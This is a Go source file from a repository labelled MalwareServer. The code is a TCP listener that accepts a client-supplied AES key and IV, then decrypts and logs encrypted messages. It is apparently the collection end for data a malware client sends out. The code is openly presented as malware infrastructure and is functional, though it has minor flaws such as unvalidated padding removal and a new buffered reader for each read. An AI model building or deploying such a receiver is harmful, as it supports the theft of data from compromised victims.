MalwareServer/main.go

132 lines
2.8 KiB
Go
Raw Normal View History

2024-04-30 16:27:44 +02:00
package main
import (
"bufio"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"strings"
"fmt"
"log"
"net"
)
func main() {
host := "0.0.0.0"
port := 8080
// Listen for incoming connections
listener, err := net.Listen("tcp", fmt.Sprintf("%s:%d", host, port))
if err != nil {
log.Fatalf("Error listening: %v", err)
}
defer listener.Close()
fmt.Printf("Server listening on %s:%d\n", host, port)
for {
conn, err := listener.Accept()
if err != nil {
log.Printf("Error accepting connection: %v", err)
continue
}
go handleConnection(conn)
}
}
func handleConnection(conn net.Conn) {
defer conn.Close()
fmt.Println("Got conn")
keyData, err := bufio.NewReader(conn).ReadString('\n')
if err != nil {
log.Printf("Error reading key: %v", err)
return
}
key, err := base64.StdEncoding.DecodeString(keyData[:len(keyData)-1])
if err != nil {
log.Printf("Error decoding key: %v", err)
return
}
fmt.Printf("Key: %x\n", key)
conn.Write([]byte("Received key\n"))
conn.Write([]byte("Received key\n"))
ivData, err := bufio.NewReader(conn).ReadString('\n')
if err != nil {
log.Printf("Error reading iv: %v", err)
return
}
iv, err := base64.StdEncoding.DecodeString(ivData[:len(ivData)-1])
if err != nil {
log.Printf("Error decoding iv: %v", err)
return
}
fmt.Printf("IV: %x\n", iv)
conn.Write([]byte("Received IV\n"))
for {
textData, err := bufio.NewReader(conn).ReadString('\n')
if err != nil {
log.Printf("Error reading text: %v", err)
return
}
if strings.TrimSpace(textData) == "END_OF_COMMUNICATION" {
fmt.Println("Client ended communication")
break
}
cipherText, err := base64.StdEncoding.DecodeString(textData[:len(textData)-1])
if err != nil {
log.Printf("Error decoding text: %v", err)
return
}
plaintext, err := decrypt(cipherText, key, iv)
if err != nil {
log.Printf("Error decrypting text: %v", err)
return
}
fmt.Println("Decrypted text:", string(plaintext))
conn.Write([]byte("Received and decrypted text\n"))
}
conn.Write([]byte("Ready for next operation\n"))
}
func decrypt(cipherText []byte, key []byte, iv []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
if len(cipherText) < aes.BlockSize {
return nil, fmt.Errorf("ciphertext too short")
}
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(cipherText, cipherText)
cipherText = PKCS5Unpadding(cipherText)
return cipherText, nil
}
func PKCS5Unpadding(data []byte) []byte {
length := len(data)
unpadding := int(data[length-1])
return data[:(length - unpadding)]
}